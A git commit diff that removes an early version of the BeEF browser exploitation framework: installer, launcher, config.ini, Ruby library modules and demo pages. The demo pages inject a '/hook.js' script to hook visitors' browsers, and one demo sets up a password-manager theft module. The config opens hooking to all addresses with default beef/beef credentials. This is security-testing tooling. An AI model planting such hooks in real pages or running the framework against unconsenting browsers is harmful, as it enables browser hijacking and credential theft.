First step of moving beef-nextgen to trunk.
git-svn-id: https://beef.googlecode.com/svn/trunk@905 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
57
INSTALL
57
INSTALL
@@ -1,57 +0,0 @@
|
||||
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
|
||||
|
||||
=============================================
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
2. Prerequisites (Windows)
|
||||
3. Prerequisites (Linux)
|
||||
4. Prerequisites (Mac OSX)
|
||||
5. Install instructions
|
||||
|
||||
|
||||
|
||||
1. Prerequisites (platform independent)
|
||||
|
||||
Beef requires ruby 1.8
|
||||
|
||||
|
||||
2. Prerequisites (Windows)
|
||||
|
||||
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
|
||||
|
||||
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
|
||||
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
!!! This must be done PRIOR to running the Beef installer !!!
|
||||
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
|
||||
|
||||
You also need to install the ruby-dev package (required for mkmf)
|
||||
|
||||
sudo apt-get install ruby-dev
|
||||
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
Make sure you have XCode installed - which provided the sqlite support Beef needs
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
|
||||
ruby install.rb
|
||||
|
||||
The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system'
|
||||
|
||||
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually
|
||||
|
||||
The installer advises of the default username and password
|
||||
|
||||
38
beef.rb
38
beef.rb
@@ -1,38 +0,0 @@
|
||||
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
|
||||
|
||||
$root_dir = File.expand_path('..', __FILE__)
|
||||
|
||||
require 'lib/loader'
|
||||
|
||||
# load config
|
||||
config = BeEF::Configuration.instance
|
||||
|
||||
# disable reverse dns
|
||||
Socket.do_not_reverse_lookup = true
|
||||
|
||||
# setup database
|
||||
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}")
|
||||
|
||||
options = BeEF::Console::CommandLine.parse
|
||||
|
||||
if options[:resetdb]
|
||||
DataMapper.auto_migrate!
|
||||
BeEF::Migration.instance.update_db!
|
||||
else
|
||||
DataMapper.auto_upgrade!
|
||||
end
|
||||
|
||||
# check for new command modules
|
||||
BeEF::Migration.instance.update_db!
|
||||
|
||||
BeEF::Console::Banner.generate
|
||||
|
||||
# start the http proxy if enabled in config.ini
|
||||
if (config.get('http_proxy_enable').to_i > 0)
|
||||
http_proxy_zombie = BeEF::HttpProxyZombie.instance
|
||||
http_proxy_zombie.start
|
||||
end
|
||||
|
||||
# start the hook server
|
||||
http_hook_server = BeEF::HttpHookServer.instance
|
||||
http_hook_server.start
|
||||
51
config.ini
51
config.ini
@@ -1,51 +0,0 @@
|
||||
beef_version = '0.4.2.4-alpha'
|
||||
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
permitted_hooking_subnet = "0.0.0.0/0"
|
||||
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
#permitted_ui_subnet = "127.0.0.1/32"
|
||||
permitted_ui_subnet = "0.0.0.0/0"
|
||||
|
||||
http_host = "0.0.0.0"
|
||||
http_port = "3000"
|
||||
http_dns = "localhost"
|
||||
|
||||
# if running behind a nat set the public ip address here
|
||||
#http_public = "66.102.11.104"
|
||||
|
||||
http_proxy_enable = 1
|
||||
http_proxy_bind_address = "127.0.0.1"
|
||||
http_proxy_bind_port = "6789"
|
||||
|
||||
http_demo_path = "/demos/basic.html"
|
||||
http_panel_path = "/ui/panel"
|
||||
hook_file = "/hook.js"
|
||||
|
||||
ui_username = "beef"
|
||||
ui_password = "beef"
|
||||
|
||||
hook_session_name="BEEFHOOK"
|
||||
session_cookie_name="BEEFSESSION"
|
||||
|
||||
crypto_default_value_length=80
|
||||
login_fail_delay=1 # in seconds
|
||||
|
||||
database_file_name = "beef.db"
|
||||
|
||||
favicon_file_name = "favicon.ico"
|
||||
favicon_dir = "/public/images"
|
||||
|
||||
|
||||
# Enable MSF by changing enable_msf to 1
|
||||
# Then set msf_callback_host to be the public IP of your MSF server
|
||||
# Ensure you load the xmlrpc interface in Metasploit
|
||||
# msf > load xmlrpc Pass=abc123 ServerType=Web
|
||||
#
|
||||
enable_msf = 0
|
||||
msf_host = "127.0.0.1"
|
||||
msf_path = "/RPC2"
|
||||
msf_port = 55553
|
||||
msf_user = "msf"
|
||||
msf_pass = "abc123"
|
||||
msf_callback_host = "127.0.0.1"
|
||||
@@ -1,32 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Basic Demo</title>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
You should be hooked into <b>BeEF</b>.
|
||||
<p>
|
||||
Have fun while your browser is working against you.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
These links are for demonstrating the "collect links" command module<br />
|
||||
<ul>
|
||||
|
||||
<li><a href="http://www.bindshell.net/tools/beef" target="_blank">Beef homepage</a>
|
||||
<li><a href="http://ha.ckers.org/" target="_blank">ha.ckers.org homepage</a>
|
||||
<li><a href="http://slashdot.org/" target="_blank">Nerd homepage</a>
|
||||
|
||||
</ul>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
You can also load up a more advanced demo page <a href="butcher/index.html">here</a>
|
||||
</p>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -1,59 +0,0 @@
|
||||
html {
|
||||
height: 100%;
|
||||
}
|
||||
body {
|
||||
background: #fff;
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
height: 100%;
|
||||
}
|
||||
#content {
|
||||
position: relative;
|
||||
width: 800px;
|
||||
height: 100%;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
/*border: solid 1px black;*/
|
||||
background-image: url("right.jpg");
|
||||
background-repeat: no-repeat;
|
||||
background-position: right top;
|
||||
}
|
||||
|
||||
#logo {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 368px;
|
||||
}
|
||||
#stuff {
|
||||
position: relative;
|
||||
/*border: solid 1px red;*/
|
||||
top: 200px;
|
||||
width: 420px;
|
||||
}
|
||||
.bigger {
|
||||
font-family: "Lucida Sans", arial;
|
||||
font-size: 18px;
|
||||
}
|
||||
.normal {
|
||||
padding-top: 20px;
|
||||
font-family: "Lucida Sans", arial;
|
||||
font-size: 14px;
|
||||
}
|
||||
.smaller {
|
||||
padding-top: 20px;
|
||||
font-family: "Lucida Sans", arial;
|
||||
font-size: 8px;
|
||||
}
|
||||
#friends {
|
||||
display: none;
|
||||
padding-top: 20px;
|
||||
}
|
||||
#hamper {
|
||||
display: none;
|
||||
padding-top: 20px;
|
||||
}
|
||||
a:link {color:#000;} /* unvisited link */
|
||||
a:visited {color:#000} /* visited link */
|
||||
a:hover {color:#000;} /* mouse over link */
|
||||
a:active {color:#000;} /* selected link */
|
||||
@@ -1,62 +0,0 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|
||||
<title>The Butcher</title>
|
||||
|
||||
<link rel="stylesheet" type="text/css" href="butch.css" />
|
||||
</head>
|
||||
<body>
|
||||
<script src="jquery-1.5.min.js"></script>
|
||||
<script>
|
||||
|
||||
function showfriends() {
|
||||
$("#hamper").hide();
|
||||
$("#friends").show();
|
||||
}
|
||||
|
||||
function showHamper() {
|
||||
$("#friends").hide();
|
||||
$("#hamper").show();
|
||||
}
|
||||
|
||||
</script>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
<div id="content">
|
||||
<!-- Awesome Beef Images from: http://www.flickr.com/photos/bulle_de/4657658048/ and http://www.flickr.com/photos/dinesarasota/3944042189/ -->
|
||||
<div id="logo">
|
||||
<img src="top.jpg" alt="The Butcher" />
|
||||
</div>
|
||||
<div id="stuff">
|
||||
<div class="bigger">
|
||||
Welcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper!
|
||||
</div>
|
||||
<div class="normal">
|
||||
<button type="button" onclick="showfriends();">Our Meaty Friends</button> <button type="button" onclick="showHamper();">Order Your BeEF-Hamper</button>
|
||||
<div id="friends">
|
||||
<a href="http://www.bindshell.net">Bindshell</a><br />
|
||||
<a href="http://www.slashdot.org">Slashdot</a><br />
|
||||
<a href="http://ha.ckers.org/">ha.ckers.org homepage</a><br />
|
||||
</div>
|
||||
<div id="hamper">
|
||||
Delicious delicious hamper, straight to your door!<br />
|
||||
<form method="GET" action="index.html">Name: <input type="text" name="yourname" /><br />
|
||||
Phone: <input type="text" name="phone" /><br />
|
||||
Address: <input type="text" name="address" /><br />
|
||||
Credit Card: <input type="text" name="creditcard" /><br />
|
||||
<input type="submit" value="Buy buy!" />
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
<div class="smaller">
|
||||
Thanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
16
demos/butcher/jquery-1.5.min.js
vendored
16
demos/butcher/jquery-1.5.min.js
vendored
File diff suppressed because one or more lines are too long
Binary file not shown.
|
Before Width: | Height: | Size: 35 KiB |
@@ -1,13 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Secret Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Secret page</h1>
|
||||
|
||||
<p>
|
||||
This page is not hooked by beef. However you should still be capable of accessing it
|
||||
using the Requester.
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 15 KiB |
@@ -1,27 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Password Manager Theft Demo</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h2>Password Manager Theft Demo</h2>
|
||||
|
||||
<p>
|
||||
Instructions:<br>
|
||||
<br>
|
||||
1. Write a fake username and password in the form below<br>
|
||||
2. After having submitted the form, <u>make sure you tell firefox that you want to save</u><br>
|
||||
3. Exploit your hooked browser with the password manager theft command module.
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<form action="passwd_manager_theft.html" method="POST">
|
||||
Username: <input type="text" name="username"><br><br>
|
||||
Password: <input type="password" name="random"></br>
|
||||
<input type="submit" value="submit">
|
||||
</form>
|
||||
</p>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -1,13 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>Secret Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Secret page</h1>
|
||||
|
||||
<p>
|
||||
This page is not hooked by beef. However you should still be capable of accessing it
|
||||
using the Requester.
|
||||
</p>
|
||||
</body>
|
||||
</html>
|
||||
112
install.rb
112
install.rb
@@ -1,112 +0,0 @@
|
||||
require 'rubygems'
|
||||
|
||||
puts "\nWelcome to the BEeF installer!"
|
||||
|
||||
puts "\nPlease make sure you have installed SQLite before proceeding. For instructions on how to do this please see the INSTALL file"
|
||||
|
||||
# array of required gems - add to as needed (specify a version if needed eg "gem_name, =x.x.x")
|
||||
$gems_required = ["ansi", "dm-core", "json", "data_objects", "do_sqlite3", "sqlite3", "dm-sqlite-adapter",
|
||||
"parseconfig", "erubis", "dm-migrations"]
|
||||
|
||||
# array of missing non-version specific gems installed
|
||||
$gems_missing = Array.new
|
||||
|
||||
# array of missing version specific gems installed
|
||||
$gems_missing_version = Array.new
|
||||
|
||||
# check all required gems (dependencies) are present
|
||||
def dep_check
|
||||
$gems_required.each do |current_gem|
|
||||
begin
|
||||
if current_gem.include? ","
|
||||
tokens = current_gem.split(",")
|
||||
gem tokens[0], tokens[1]
|
||||
else
|
||||
gem current_gem
|
||||
end
|
||||
rescue Gem::LoadError
|
||||
if current_gem.include? ","
|
||||
$gems_missing_version << current_gem
|
||||
else
|
||||
$gems_missing << current_gem
|
||||
end
|
||||
end
|
||||
end
|
||||
if $gems_missing.length == 0 && $gems_missing_version.length == 0
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# display install options
|
||||
def display_opts
|
||||
puts "\n1) Install all required gems automatically\n" + "2) List required gems and exit so they can be installed manually\n" + "3) Exit installer\n\n"
|
||||
option = gets
|
||||
return option
|
||||
end
|
||||
|
||||
# generate install command for missing gems
|
||||
def install_command
|
||||
if RUBY_PLATFORM =~ /linux/ or RUBY_PLATFORM =~ /darwin/
|
||||
cmd = "sudo gem install"
|
||||
$gems_missing.each do |current_gem|
|
||||
cmd = cmd + " #{current_gem}"
|
||||
end
|
||||
if $gems_missing_version.length != 0
|
||||
$gems_missing_version.each do |current_gem|
|
||||
if cmd == "sudo gem install"
|
||||
cmd = cmd + " #{current_gem}"
|
||||
else
|
||||
cmd = cmd + " && sudo gem install #{current_gem}"
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
cmd = "gem install"
|
||||
$gems_missing.each do |current_gem|
|
||||
cmd = cmd + " #{current_gem}"
|
||||
end
|
||||
if $gems_missing_version.length != 0
|
||||
$gems_missing_version.each do |current_gem|
|
||||
if cmd == "gem install"
|
||||
cmd = cmd + " #{current_gem}"
|
||||
else
|
||||
cmd = cmd + " & gem install #{current_gem}"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
cmd = cmd.delete "," "'"
|
||||
cmd = cmd.gsub("=", "-v")
|
||||
return cmd
|
||||
end
|
||||
|
||||
# install missing gems
|
||||
def install_gems
|
||||
puts install_command + "\n"
|
||||
system(install_command)
|
||||
end
|
||||
|
||||
dep_met = dep_check()
|
||||
|
||||
if dep_met == false
|
||||
puts "\nSome gems required by BEeF are not present on your system please select an option to continue:"
|
||||
option = display_opts
|
||||
while option != "1\n" and option != "2\n" and option != "3\n"
|
||||
puts "\nInvalid option entered, please select a valid option to continue:"
|
||||
option = display_opts
|
||||
end
|
||||
if option == "1\n"
|
||||
install_gems
|
||||
elsif option == "2\n"
|
||||
cmd = install_command
|
||||
puts "\nPlease run the following command to update and install all required gems:\n\n" + cmd + "\n\n"
|
||||
elsif option == "3\n"
|
||||
puts "\nExiting...\n\n"
|
||||
end
|
||||
else
|
||||
puts "\nAll required gems are present - please run 'ruby beef.rb' to start using BEeF\n\n"
|
||||
puts "\nThe Default username/password are beef/beef\n\n"
|
||||
puts "\nAll feedback welcome - http://beef.googlecode.com/\n\n"
|
||||
end
|
||||
@@ -1,20 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Configuration < ParseConfig
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize(configuration_file="#{$root_dir}/config.ini")
|
||||
super(configuration_file)
|
||||
end
|
||||
|
||||
def get(key)
|
||||
get_value(key)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,52 +0,0 @@
|
||||
module BeEF
|
||||
module Console
|
||||
|
||||
module Banner
|
||||
#
|
||||
# Generates banner
|
||||
#
|
||||
def self.generate
|
||||
|
||||
# set the pre-string for output
|
||||
detail_tab = ' ' * 1 + '--[ '
|
||||
|
||||
# get the configuration information
|
||||
@configuration = BeEF::Configuration.instance
|
||||
version = BeEF::Configuration.instance.get('beef_version')
|
||||
beef_host = @configuration.get("http_public") || @configuration.get("http_host")
|
||||
|
||||
# create an array of the interfaces the framework is listening on
|
||||
if beef_host == '0.0.0.0' # the framework will listen on all interfaces
|
||||
interfaces = Socket.getaddrinfo(Socket.gethostname, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME).map { |x| x[3] }
|
||||
interfaces = interfaces << "127.0.0.1"
|
||||
interfaces.uniq!
|
||||
else # the framework will listen on only one interface
|
||||
interfaces = [beef_host]
|
||||
end
|
||||
|
||||
# output the banner to the console
|
||||
puts
|
||||
puts " -=[ BeEF v#{version} ]=-\n\n"
|
||||
puts detail_tab + "Modules: #{BeEF::Models::CommandModule.all.length}" # output the number of modules available
|
||||
interfaces.map do |host| # display the important URLs on each interface from the interfaces array
|
||||
puts detail_tab
|
||||
puts detail_tab + "Hook URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("hook_file")}"
|
||||
puts detail_tab + "UI URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_panel_path")}"
|
||||
puts detail_tab + "Demo URL: http://#{host}:#{@configuration.get("http_port")}#{@configuration.get("http_demo_path")}"
|
||||
end
|
||||
|
||||
# if the proxy is enabled output the address
|
||||
if (@configuration.get('http_proxy_enable').to_i > 0)
|
||||
puts
|
||||
puts detail_tab + "HTTP Proxy: http://#{@configuration.get("http_proxy_bind_address")}:#{@configuration.get("http_proxy_bind_port")}"
|
||||
end
|
||||
|
||||
puts
|
||||
puts "Ensure you are running the latest framework version. Run 'svn update' to update"
|
||||
puts
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,37 +0,0 @@
|
||||
module BeEF
|
||||
module Console
|
||||
|
||||
module CommandLine
|
||||
|
||||
@options = Hash.new
|
||||
@options[:verbose] = false
|
||||
@options[:resetdb] = false
|
||||
|
||||
@already_parsed = false
|
||||
|
||||
#
|
||||
# Parses the command line arguments of the console.
|
||||
# It also populates the 'options' hash.
|
||||
#
|
||||
def self.parse
|
||||
return @options if @already_parsed
|
||||
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.on('-x', '--reset', 'Reset the database') do
|
||||
@options[:resetdb] = true
|
||||
end
|
||||
|
||||
opts.on('-v', '--verbose', 'Display debug information') do
|
||||
@options[:verbose] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
@already_parsed = true
|
||||
@options
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
145
lib/constants.rb
145
lib/constants.rb
@@ -1,145 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module list all the constants used by the framework.
|
||||
#
|
||||
module Constants
|
||||
|
||||
module CommandModule
|
||||
|
||||
MODULE_TARGET_VERIFIED_NOT_WORKING = 0
|
||||
MODULE_TARGET_VERIFIED_WORKING = 1
|
||||
MODULE_TARGET_VERIFIED_USER_NOTIFY = 2
|
||||
MODULE_TARGET_VERIFIED_UNKNOWN = 3
|
||||
|
||||
MODULE_TARGET_VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||
MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
||||
MODULE_TARGET_VERIFIED_WORKING_IMG = 'green.png'
|
||||
MODULE_TARGET_VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||
|
||||
MODULE_TARGET_IMG_PATH = 'public/images/icons/'
|
||||
|
||||
end
|
||||
|
||||
module Browsers
|
||||
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozila
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
O = 'O' # Opera
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozila'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
FRIENDLY_O_NAME = 'Opera'
|
||||
FRIENDLY_UN_NAME = "UNKNOWN"
|
||||
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S; return FRIENDLY_S_NAME
|
||||
when K; return FRIENDLY_K_NAME
|
||||
when C; return FRIENDLY_C_NAME
|
||||
when O; return FRIENDLY_O_NAME
|
||||
when UNKNOWN; return FRIENDLY_UN_NAME
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/ , /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# The User Agent strings for browser detection
|
||||
module Agents
|
||||
|
||||
AGENT_UNKNOWN_IMG = 'unknown.png'
|
||||
AGENT_FIREFOX_UA_STR = 'Firefox'
|
||||
AGENT_FIREFOX_IMG = 'firefox.png'
|
||||
AGENT_MOZILLA_UA_STR = 'Mozilla'
|
||||
AGENT_MOZILLA_IMG = 'mozilla.png'
|
||||
AGENT_IE_UA_STR = 'MSIE'
|
||||
AGENT_IE_IMG = 'msie.png'
|
||||
AGENT_SAFARI_UA_STR = 'Safari'
|
||||
AGENT_SAFARI_IMG = 'safari.png'
|
||||
AGENT_KONQ_UA_STR = 'Konqueror'
|
||||
AGENT_KONQ_IMG = 'konqueror.png'
|
||||
AGENT_CHROME_UA_STR = 'Chrome'
|
||||
AGENT_CHROME_IMG = 'chrome.png'
|
||||
AGENT_OPERA_UA_STR = 'Opera'
|
||||
AGENT_OPERA_IMG = 'opera.ico'
|
||||
|
||||
end
|
||||
|
||||
# The OS'es strings for os detection.
|
||||
module Os
|
||||
|
||||
OS_UNKNOWN_IMG = 'unknown.png'
|
||||
OS_WINDOWS_UA_STR = 'Windows'
|
||||
OS_WINDOWS_IMG = 'win.png'
|
||||
OS_LINUX_UA_STR = 'Linux'
|
||||
OS_LINUX_IMG = 'linux.png'
|
||||
OS_MAC_UA_STR = 'Mac'
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
OS_IPHONE_UA_STR = 'iPhone'
|
||||
OS_IPHONE_IMG = 'iphone.png'
|
||||
|
||||
def self.match_os(name)
|
||||
case name.downcase
|
||||
when /win/
|
||||
OS_WINDOWS_UA_STR
|
||||
when /lin/
|
||||
OS_LINUX_UA_STR
|
||||
when /os x/, /osx/, /mac/
|
||||
OS_MAC_UA_STR
|
||||
when /iphone/
|
||||
OS_IPHONE_UA_STR
|
||||
else
|
||||
'ALL'
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# The distributed engine codes
|
||||
module DistributedEngine
|
||||
|
||||
REQUESTER = 1
|
||||
PORTSCANNER = 2
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,26 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module provides crypto functionality
|
||||
#
|
||||
module Crypto
|
||||
|
||||
#
|
||||
# Generate a secure random token
|
||||
#
|
||||
def self.secure_token(len = nil)
|
||||
|
||||
# get default length from config
|
||||
config = BeEF::Configuration.instance
|
||||
token_length = len || config.get('crypto_default_value_length').to_i
|
||||
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Token length is zero or less" if (1 > token_length)
|
||||
|
||||
# return random hex string
|
||||
OpenSSL::Random.random_bytes(token_length).unpack("H*")[0]
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,95 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
# check if the string is not empty and not nil
|
||||
def self.is_non_empty_string?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
true
|
||||
end
|
||||
|
||||
# check if only the characters in 'chars' are in 'str'
|
||||
def self.only?(chars, str)
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
end
|
||||
|
||||
# check if one or more characters in 'chars' are in 'str'
|
||||
def self.exists?(chars, str)
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
end
|
||||
|
||||
# check for null char
|
||||
def self.has_null? (str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
exists?('\x00', str)
|
||||
end
|
||||
|
||||
# check for non-printalbe char
|
||||
def self.has_non_printable_char?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not only?('[:print:]', str)
|
||||
end
|
||||
|
||||
# check if num chars only
|
||||
def self.nums_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?('0-9', str)
|
||||
end
|
||||
|
||||
# check if valid float
|
||||
def self.is_valid_float?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not only?('0-9\.', str)
|
||||
not (str =~ /^[\d]+\.[\d]+$/).nil?
|
||||
end
|
||||
|
||||
# check if hex chars only
|
||||
def self.hexs_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?('0123456789ABCDEFabcdef', str)
|
||||
end
|
||||
|
||||
# check if first char is a num
|
||||
def self.first_char_is_num?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not (str =~ /^\d.*/).nil?
|
||||
end
|
||||
|
||||
# check for space chars: \t\n\r\f
|
||||
def self.has_whitespace_char?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
exists?('\s', str)
|
||||
end
|
||||
|
||||
# check for non word chars: a-zA-Z0-9
|
||||
def self.alphanums_only?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# check if valid ip address string
|
||||
def self.is_valid_ip?(ip)
|
||||
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
false
|
||||
end
|
||||
|
||||
# check for valid browser details chars
|
||||
def self.has_valid_browser_details_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
# check for valid base details chars
|
||||
# this is for basic flitering where possible all specific filters must be implemented
|
||||
def self.has_valid_base_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
(str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,59 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
# check if the string is a valid path from a HTTP request
|
||||
def self.is_valid_path_info?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if the command id valid
|
||||
def self.is_valid_command_id?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not nums_only?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if the session id valid
|
||||
def self.is_valid_hook_session_id?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if valid command module datastore key
|
||||
def self.is_valid_command_module_datastore_key?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_key_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check if valid command module datastore value
|
||||
def self.is_valid_command_module_datastore_param?(str)
|
||||
return false if has_null?(str)
|
||||
return false if not has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check for word and some punc chars
|
||||
def self.has_valid_key_chars?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if not has_valid_base_chars?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check for word and underscore chars
|
||||
def self.has_valid_param_chars?(str)
|
||||
return false if str.nil?
|
||||
return false if not str.is_a? String
|
||||
return false if str.empty?
|
||||
return false if not (str =~ /[^\w_]/).nil?
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,67 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
# verify the page title string is valid
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 50
|
||||
true
|
||||
end
|
||||
|
||||
# check the browser type value - for example, 'FF'
|
||||
def self.is_valid_browsername?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
# check the os name value - for example, 'Windows XP'
|
||||
def self.is_valid_osname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
